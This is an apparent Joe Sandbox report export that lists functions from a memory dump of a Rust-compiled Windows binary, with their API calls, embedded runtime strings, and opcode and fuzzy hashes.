Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: Process$CurrentPrng
String ID:
API String ID: 716580790-0
Opcode ID: 5c61cab22f445119446dd4175f50c3ac45a5d8791a2c856531be525827a74b69
Instruction ID: d5dff6f62d3454ee3393e5aee8df0e93b84ede64eed14616e13216c9edc7e71e
Opcode Fuzzy Hash: 5c61cab22f445119446dd4175f50c3ac45a5d8791a2c856531be525827a74b69
Instruction Fuzzy Hash: 5802F272A04B9189EB54AF21D4403B9A7A0FB0A7A8F804636DE5D477C6EF7CD54EC710

Function 00007FF717757000 Relevance: 3.1, APIs: 2, Instructions: 75
filenativesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtWriteFile.NTDLL ref: 00007FF717757071
WaitForSingleObject.KERNEL32 ref: 00007FF717757085

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: FileObjectSingleWaitWrite
String ID:
API String ID: 1507886151-0
Opcode ID: f90c94bbde2d15f5dd49e45bc93b021f94ca7a944ecab33971cf0177bd17e77b
Instruction ID: 35e3e843aed289ca94cc16566824ca51e0d02fd8091bfa8b49a657c73a8288b5
Opcode Fuzzy Hash: f90c94bbde2d15f5dd49e45bc93b021f94ca7a944ecab33971cf0177bd17e77b
Instruction Fuzzy Hash: 16318122B14F8599FB10DB74E8507ED77A4AB58768F948130EE4D43A89EF38D19A8390

Function 00007FF717752E70 Relevance: .3, Instructions: 329COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fad73bf66c27cc899b09c25f804392d73b3bdd7228d3588e32abe8b927a1c01
Instruction ID: 9a2483c161a3955bcf3773531bda770cf4cfd7aa277f4a93665f979d62001d21
Opcode Fuzzy Hash: 6fad73bf66c27cc899b09c25f804392d73b3bdd7228d3588e32abe8b927a1c01
Instruction Fuzzy Hash: AFC12362A0CE4241FB659B25950037EEAB1BF197A8FD05531EE5E076E2DE3CE54F8320

Function 00007FF71774C410 Relevance: 35.3, APIs: 17, Strings: 3, Instructions: 276
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32 ref: 00007FF71774C492
CloseHandle.KERNEL32 ref: 00007FF71774C592
WaitForSingleObject.KERNEL32 ref: 00007FF71774C59F
GetLastError.KERNEL32 ref: 00007FF71774C5A8
CloseHandle.KERNEL32 ref: 00007FF71774C633
CloseHandle.KERNEL32 ref: 00007FF71774C63C
CloseHandle.KERNEL32 ref: 00007FF71774C748
CloseHandle.KERNEL32 ref: 00007FF71774C7A4
CloseHandle.KERNEL32 ref: 00007FF71774C7AD

Strings

0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character, xrefs: 00007FF71774C411
called `Result::unwrap()` on an `Err` value, xrefs: 00007FF71774C521, 00007FF71774C6AB, 00007FF71774C6DF
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards, xrefs: 00007FF71774C415, 00007FF71774C7C5

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: CloseHandle$ErrorLastObjectSingleWait
String ID: 0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards$called `Result::unwrap()` on an `Err` value
API String ID: 1454876536-677056220
Opcode ID: 70676137e3e6d45ccbc11c6f306daaa86eb11d731be05b264ede06c0d3c4266b
Instruction ID: 7815da47ea656d8b11cf950240f4e83e6f3365dfdd939024c5af633aaf10e769
Opcode Fuzzy Hash: 70676137e3e6d45ccbc11c6f306daaa86eb11d731be05b264ede06c0d3c4266b
Instruction Fuzzy Hash: DBC14E32A04A8199FB21EF31D4413E967A0FB487A8F945535EE4D47B8ADF38D18EC350

Function 00007FF71775A490 Relevance: 9.2, APIs: 6, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32 ref: 00007FF71775A4CD
GetOverlappedResult.KERNEL32 ref: 00007FF71775A5A1
GetLastError.KERNEL32 ref: 00007FF71775A708

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: CloseErrorHandleLastOverlappedResult
String ID:
API String ID: 3265865415-0
Opcode ID: b8e1af6115da628332e5c580602700a8930ac76e8c9e4dcdacd4a678eb5f909e
Instruction ID: 1c59de2bba989269fa8325f307c6b81afb0cc6f460920cbc047d581e754fd664
Opcode Fuzzy Hash: b8e1af6115da628332e5c580602700a8930ac76e8c9e4dcdacd4a678eb5f909e
Instruction Fuzzy Hash: 7D712F22B08B9549FB50AB6588403FD6B70EB187ACF854935DE0C17B8ADF38D65E8360

Function 00007FF717753750 Relevance: 7.7, APIs: 5, Instructions: 184
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 00007FF7177538CF
GetLastError.KERNEL32 ref: 00007FF7177538E9
SetFileInformationByHandle.KERNEL32 ref: 00007FF71775390F
GetLastError.KERNEL32 ref: 00007FF71775394C
GetLastError.KERNEL32 ref: 00007FF717753996

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: ErrorLast$File$CreateHandleInformation
String ID:
API String ID: 1834474996-0
Opcode ID: f273ef88e2bac6326e9b2940877e3eefe1307dc294658eb469f631bb574f4843
Instruction ID: a2dc22897c308e6b7ab5c4c0d335075bcdd4c659a38872bbe3944ad1ef127374
Opcode Fuzzy Hash: f273ef88e2bac6326e9b2940877e3eefe1307dc294658eb469f631bb574f4843
Instruction Fuzzy Hash: D961C092E0895245FB65A72184013B9A6B0AB09BACFD44531CD4D17BEBCF3DE84F8770

Function 00007FF71773BBF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards, xrefs: 00007FF71773BBF5

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID:
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards
API String ID: 0-3387848338
Opcode ID: ee5c1d5ab09d0494fec1969195c37f65f76453e1c0a170b018d8b387e33d525c
Instruction ID: 4a9bac445dfb5ec0376143d82d3409fbbd88e8b3b2be2c5b8cc7a50d0df9b602
Opcode Fuzzy Hash: ee5c1d5ab09d0494fec1969195c37f65f76453e1c0a170b018d8b387e33d525c
Instruction Fuzzy Hash: 5331E352E08E8694FB15E72559053B99661AF48BE8F984431DE0C07B97DE7CA14E8360

Function 00007FF71775A7A0 Relevance: 3.8, APIs: 3, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00007FF71775A827
CloseHandle.KERNEL32 ref: 00007FF71775A868
CloseHandle.KERNEL32 ref: 00007FF71775A870

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: CloseHandle$ErrorLast
String ID:
API String ID: 1798101686-0
Opcode ID: a3ddd86106da4bf881b97e782787d81133a10f990cbf08c49f9bebbb8d9dd90e
Instruction ID: 4e488e231c22fc312252ae640f030307d69adf95f0cf8b575a293f58b01ebcaf
Opcode Fuzzy Hash: a3ddd86106da4bf881b97e782787d81133a10f990cbf08c49f9bebbb8d9dd90e
Instruction Fuzzy Hash: 8011B422B05B4152FB55BB12A541379A690AB8CBA0F585134DE8C07BC3EF3CA5EB8360

Function 00007FF7177372A0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadDescription.KERNELBASE ref: 00007FF7177372E7

Strings

main, xrefs: 00007FF7177372DD

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: DescriptionThread
String ID: main
API String ID: 2285587249-3207122276
Opcode ID: ab7703ec82c3bf8afcebab53cce1798250a40d462dbe90b47f8c00be0dd91670
Instruction ID: 44ad004ddbc736ff1a89fca30b19789af32874dfc9c8968c0464cff4221ceb05
Opcode Fuzzy Hash: ab7703ec82c3bf8afcebab53cce1798250a40d462dbe90b47f8c00be0dd91670
Instruction Fuzzy Hash: AB018E21B04E4698FB10FB61E8552FCA3606B487A8FD40035DD0D43A5ADF3CD84EC360

Function 00007FF7177186C0 Relevance: 2.5, APIs: 2, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF71775AAE0: GetOverlappedResult.KERNEL32(?,?,-8000000000000020,-8000000000000080,00007FF7177186D4), ref: 00007FF71775AB21

CloseHandle.KERNEL32 ref: 00007FF7177186D8
CloseHandle.KERNEL32 ref: 00007FF7177186E1

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: CloseHandle$OverlappedResult
String ID:
API String ID: 953004297-0
Opcode ID: 587d117bb2e4bd6e76d768e4040b3462c371f62b385f616c831b7967524fd2f9
Instruction ID: afa4817ea9b39e4e59dd0113dfafb39a87c4e5d7857ed578cd071cbd3c1fb89b
Opcode Fuzzy Hash: 587d117bb2e4bd6e76d768e4040b3462c371f62b385f616c831b7967524fd2f9
Instruction Fuzzy Hash: A1E04F12B04A4193F630F712E4411BA9620AB8CBA0F445130DE4E06B82CD28E98A8710

Function 00007FF717703FE8 Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoTaskMemFree.OLE32(00007FF717704062), ref: 00007FF717704011

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: FreeTask
String ID:
API String ID: 734271698-0
Opcode ID: 5e28ae5984b5a976e60f91431f0f2898fac32a5e4daf1d6606d5b4610ef5faf6
Instruction ID: e9a9b39d1e1e42c9f6683f5eb00d65d55b600d8c4cb0b5c977caa310b1bf1045
Opcode Fuzzy Hash: 5e28ae5984b5a976e60f91431f0f2898fac32a5e4daf1d6606d5b4610ef5faf6
Instruction Fuzzy Hash: CCF0B412A08B8651FA24BA16A9513BD92116F89FD0F849130DE4D1F747CE2CD15F8720

Function 00007FF717701FB8 Relevance: 1.3, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT ref: 00007FF717701FF7

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 8fc78fedf86278d75c02b6b352e5128d65a7be319c4dde1042275700d1cc7063
Instruction ID: 32fb22644394b97fc9f6d83416a88ea2189e6c51a0c18b0196e5ed0138404526
Opcode Fuzzy Hash: 8fc78fedf86278d75c02b6b352e5128d65a7be319c4dde1042275700d1cc7063
Instruction Fuzzy Hash: EAF09063714B5082EA01EB17990465AAB60BB89FF0F848031AF4D07F86CE3CD5AB9710

Function 00007FF71773BCB5 Relevance: 1.3, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32 ref: 00007FF71773BE10
CloseHandle.KERNEL32 ref: 00007FF71773BE45

Part of subcall function 00007FF717757000: NtWriteFile.NTDLL ref: 00007FF717757071
Part of subcall function 00007FF717757000: WaitForSingleObject.KERNEL32 ref: 00007FF717757085

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: CloseHandle$FileObjectSingleWaitWrite
String ID:
API String ID: 1197516534-0
Opcode ID: 16e3ca8d15b27be602fb32ef17f29eea0c9f65f5c4a03ae35cda9fca565b324c
Instruction ID: ad157e77b2845f841e75229c7ff26790fe2201bb52ef6fb4866d4ed78a1ff62d
Opcode Fuzzy Hash: 16e3ca8d15b27be602fb32ef17f29eea0c9f65f5c4a03ae35cda9fca565b324c
Instruction Fuzzy Hash: 18F0BE12F0DE0684BE6AB31929112BDD1916F4CBF5EC80532CE4C07B96DE3CA48F83A0

Function 00007FF71775FC75 Relevance: 1.3, APIs: 1, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7177594D0: GetCurrentProcessId.KERNEL32 ref: 00007FF717759520
Part of subcall function 00007FF7177594D0: ProcessPrng.BCRYPTPRIMITIVES ref: 00007FF71775954C

CloseHandle.KERNEL32 ref: 00007FF71775FDD7

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: Process$CloseCurrentHandlePrng
String ID:
API String ID: 842889843-0
Opcode ID: 743e59baabb4466784b0156bb960d8ec911500a5b6d11ba07af7e199dc48940a
Instruction ID: 3e2ea67d6f47a3ca168877da8d9a153643ac90fb1b9d94bd41db3279b1c54538
Opcode Fuzzy Hash: 743e59baabb4466784b0156bb960d8ec911500a5b6d11ba07af7e199dc48940a
Instruction Fuzzy Hash: E4F01D23604A4545E7A1AB25E9503ADA2A1AB48BFCF894132DE0C477D6DE3DE8DB8350

Non-executed Functions

Function 00007FF717767770 Relevance: 43.2, APIs: 21, Strings: 2, Instructions: 2950COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF71776957F

Strings

.debug_abbrev.debug_addr.debug_aranges.debug_cu_index.debug_info.debug_line.debug_line_str.debug_loc.debug_loclists.debug_ranges.debug_rnglists.debug_str.debug_str_offsets.debug_tu_index.debug_types, xrefs: 00007FF717768A37
.debug_abbrev.dwo.debug_info.dwo.debug_line.dwo.debug_loc.dwo.debug_loclists.dwo.debug_rnglists.dwo.debug_str.dwo.debug_str_offsets.dwo.debug_types.dwolibrary\std\src\..\..\backtrace\src\symbolize\gimli.rs, xrefs: 00007FF71776B379

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: memcpy
String ID: .debug_abbrev.debug_addr.debug_aranges.debug_cu_index.debug_info.debug_line.debug_line_str.debug_loc.debug_loclists.debug_ranges.debug_rnglists.debug_str.debug_str_offsets.debug_tu_index.debug_types$.debug_abbrev.dwo.debug_info.dwo.debug_line.dwo.debug_loc.dwo.debug_loclists.dwo.debug_rnglists.dwo.debug_str.dwo.debug_str_offsets.dwo.debug_types.dwolibrary\std\src\..\..\backtrace\src\symbolize\gimli.rs
API String ID: 3510742995-4060794284
Opcode ID: 3c054aea2eacd05ce51e05ed9c89cb6224eb3aeb6d554c483e55d4c97705b489
Instruction ID: 91cf903c77a50b3eb1aace6caea07d04ce5b5704a470ecc98bb72e81668b4eb8
Opcode Fuzzy Hash: 3c054aea2eacd05ce51e05ed9c89cb6224eb3aeb6d554c483e55d4c97705b489
Instruction Fuzzy Hash: CA733E62604FC589FB709F29D8407E973A0FB49798F908235DE4D4BB9ADF389299C350

Function 00007FF71778FE00 Relevance: 33.5, APIs: 14, Strings: 7, Instructions: 1978COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF717790306
memcpy.MSVCRT ref: 00007FF7177905D8
memcpy.MSVCRT ref: 00007FF717790608
memcpy.MSVCRT ref: 00007FF717790638

Strings

assertion failed: buf.len() >= MAX_SIG_DIGITS, xrefs: 00007FF71779110C
assertion failed: noborrowassertion failed: digits < 40assertion failed: other > 0assertion failed: !d.is_zero()_, xrefs: 00007FF717791042, 00007FF717791F33
assertion failed: d.minus > 0, xrefs: 00007FF7177910AC, 00007FF717791E7F
assertion failed: d.mant.checked_sub(d.minus).is_some(), xrefs: 00007FF7177910F4, 00007FF717791EC7
assertion failed: d.plus > 0, xrefs: 00007FF7177910C4, 00007FF717791E97
assertion failed: d.mant > 0, xrefs: 00007FF717791094, 00007FF717791E67
assertion failed: d.mant.checked_add(d.plus).is_some(), xrefs: 00007FF7177910DC, 00007FF717791EAF

Memory Dump Source

Source File: 00000004.00000002.1636237173.00007FF717701000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF717700000, based on PE: true

Associated: 00000004.00000002.1636210073.00007FF717700000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636327757.00007FF7177BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636358788.00007FF7177BC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636515380.00007FF7178DB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636544755.00007FF7178DC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1636570737.00007FF7178DF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff717700000_ajbs50ul.jbxd

Similarity

API ID: memcpy
String ID: assertion failed: buf.len() >= MAX_SIG_DIGITS$assertion failed: d.mant > 0$assertion failed: d.mant.checked_add(d.plus).is_some()$assertion failed: d.mant.checked_sub(d.minus).is_some()$assertion failed: d.minus > 0$assertion failed: d.plus > 0$assertion failed: noborrowassertion failed: digits < 40assertion failed: other > 0assertion failed: !d.is_zero()_
API String ID: 3510742995-655871377
Opcode ID: 6ad3e98c884f90b5bc6cec442d51eed87ca75ea8e1f09b0dfe105d913faa0b30
Instruction ID: a0cffcab2dfaaa9d55c215fb134b7e222344ad6de500cdcfe99831daf553b6e3
Opcode Fuzzy Hash: 6ad3e98c884f90b5bc6cec442d51eed87ca75ea8e1f09b0dfe105d913faa0b30
Instruction Fuzzy Hash: B2030A22A1AAC24AF765DF30E8507F96350FB597B8F845235CE0D17A86DF38669EC310

